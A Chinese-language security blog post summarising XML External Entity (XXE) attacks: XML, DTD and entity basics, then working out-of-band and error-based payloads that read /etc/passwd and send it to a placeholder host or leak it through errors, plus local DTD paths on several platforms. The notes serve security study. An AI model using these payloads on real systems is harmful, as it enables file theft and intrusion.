Learning Man's Blog

XXE 小结

字数统计: 1.8k阅读时长: 7 min
2018/12/19

0x01 简介

先搬上先知的一段总结


i. XML

XML是类似HTML的标记语言,但它们有所不同。

  • 其一,HTML用于表现数据,关注数据的表现形式,XML用于存储和传输数据,关注数据本身。
  • 其二,HTML的标签是预定义的,而XML的标签是自定义的,或者说,任意的。
  • 此外,XML语法更严格,其标签必须闭合且正确嵌套,大小写敏感,属性值必须加引号,保留连续空白符。
  • <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。

ii. DTD

XML元素以形如 <tag>foo</tag> 的标签开始和结束,如果元素内部出现如 < 的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义了五个实体引用,即用&lt; &gt; &amp; &apos; &quot; 替换 < > & ' "

实际上,实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为 Document Type Defination(DTD,文档类型定义)的过程中进行。DTD是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。

DTD有两种形式:

内部 DTD:
    <!DOCTYPE 根元素 [元素声明]>
外部 DTD:
    <!DOCTYPE 根元素 SYSTEM "存放元素声明的文件的URI,可以是本地文件或网络文件" [可选的元素声明]>
    <!DOCTYPE 根元素 PUBLIC "PUBLIC_ID DTD的名称" "外部DTD文件的URI">
( PUBLIC表示 DTD文件是公共的,解析器先分析 DTD名称,没查到再去访问 URI)

iii. ENTITY

我们可以在元素声明中自定义实体,和DTD类似也分为内部实体外部实体,此外还有普通实体参数实体之分:

声明

<!DOCTYPE 根元素 [<!ENTITY 内部普通实体名 "实体所代表的字符串">]>
<!DOCTYPE 根元素 [<!ENTITY 外部普通实体名 SYSTEM "外部实体的URI">]>
<!DOCTYPE 根元素 [<!ENTITY % 内部参数实体名 "实体所代表的字符串">]>
<!DOCTYPE 根元素 [<!ENTITY % 外部参数实体名 SYSTEM "外部实体的URI">]>
除了 SYSTEM关键字外,外部实体还可用 PUBLIC关键字声明。
URL 支持的协议

引用

&普通实体名; //经实验,普通实体既可以在 DTD 中,也可以在 XML 中引用,可以在声明前引用,可以在在元素声明内部引用
%参数实体名; //经实验,参数实体只能在 DTD 中引用,不能在声明前引用,不能在元素声明内部引用

注意事项

  1. 外部 DTD 中,如果外部(普通|参数)实体中想要引用内部参数实体,需要在此实体上层添加内部(普通|参数)实体声明,并先引用上层内部实体

    原因可能是在内部实体中引用会将值解析进去,而外部实体只会直接请求 URL 字符串,不解析其中的引用

     外部 test.dtd 文件
     <!------- Failure ------->
     <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
     <!ENTITY % send SYSTEM "http://xxx/?%file;">
     %send;
    
     <!------- Success ------->
     <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
     <!ENTITY % top ' 
         <!ENTITY &#x25; send SYSTEM "http://xxx/?%file;">
         '>
     %top;
     %send;
  2. 在内部 DTD 中,不能在实体声明中出现实体引用

     <!------- Failure ------->
     <?xml version="1.0" encoding="utf-8"?> 
     <!DOCTYPE xxe [
     <!ENTITY % in "123">
     <!ENTITY % out "%in;">
     %out;
     ]>

    会报错 PEReferences forbidden in internal subset in Entity,XML 文档中对此有所提及

    Well-formedness constraint: PEs in Internal Subset

    In the internal DTD subset, parameter-entity references must not occur within markup declarations; they may occur where markup declarations can occur. (This does not apply to references that occur in external parameter entities or to the external subset.)

iv. 可能造成的危害

  • 本地文件读取
  • 内网访问,主机/端口扫描
  • 网络访问
  • 系统命令执行(特定协议,如PHP的expect)
  • 拒绝服务(嵌套引用,指数爆炸)

v. Libxml 与 PHP

自 libxml 2.9.0 以后,开始默认禁止解析外部实体,与 PHP 版本没有根本性关系

v2.9.5: Sep 04 2017
    Security:Detect infinite recursion in parameter entities (Nick Wellnhofer)
    Prevent unwanted external entity reference
v2.9.2: Oct 16 2014
    Security:
    Fix for CVE-2014-3660 billion laugh variant (Daniel Veillard),
    CVE-2014-0191 Do not fetch external parameter entities (Daniel Veillard)
2.9.1: Apr 19 2013
    Activate detection of encoding in external subset
2.9.0: Sep 11 2012
    Do not fetch external parsed entities

0x02 OOB XXE

payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY % load SYSTEM "http://xxx/external.dtd">
%load;
]>

external.dtd

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % top ' 
    <!ENTITY &#x25; send SYSTEM "http://xxx/?%file;">
'>
%top;
%send;

0x03 Error XXE

通常用于无法访问外网,加载自定义外部 DTD 时候采用,需要服务器开启相关报错

i. Local DTD

作者假设在服务器内发现一个sip-app_1_0.dtd文件,其内容如下

<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>

作者payload,通过替换%condition;值,由于是由payload发起调用dtd,所以在有两个同名实体的情况下,以第一个为主,即payload中的声明为主

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">

    <!ENTITY % condition 'aaa)>
        <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
        %eval;
        %error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message>any text</message>

本地 DTD 文件

作者发现了几个常见的本地 DTD 文件

Linux 系统

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

Windows系统

<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

思科WebEx

<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Citrix XenMobile服务器

<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

多平台IBM WebSphere应用

<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;

ii. Without Local DTD

来自于 P 牛的知识星球,貌似在嵌套实体中,可以在标记声明中出现内部参数引用?

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % NUMBER '
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        '>
    %NUMBER;
]>
<message>any text</message>

参考资料

  1. http://docs.ioin.in/writeup/mohemiv.com/_all_exploiting_xxe_with_local_dtd_files_/index.html
  2. https://xz.aliyun.com/t/2571
  3. https://articles.zsxq.com/id_85l86vkeu8zf.html
CATALOG
  1. 1. 0x01 简介
    1. 1.1. i. XML
    2. 1.2. ii. DTD
    3. 1.3. iii. ENTITY
      1. 1.3.1. 声明
        1. 1.3.1.1. URL 支持的协议
      2. 1.3.2. 引用
      3. 1.3.3. 注意事项
    4. 1.4. iv. 可能造成的危害
    5. 1.5. v. Libxml 与 PHP
  2. 2. 0x02 OOB XXE
  3. 3. 0x03 Error XXE
    1. 3.1. i. Local DTD
      1. 3.1.1. 本地 DTD 文件
    2. 3.2. ii. Without Local DTD
  4. 4. 参考资料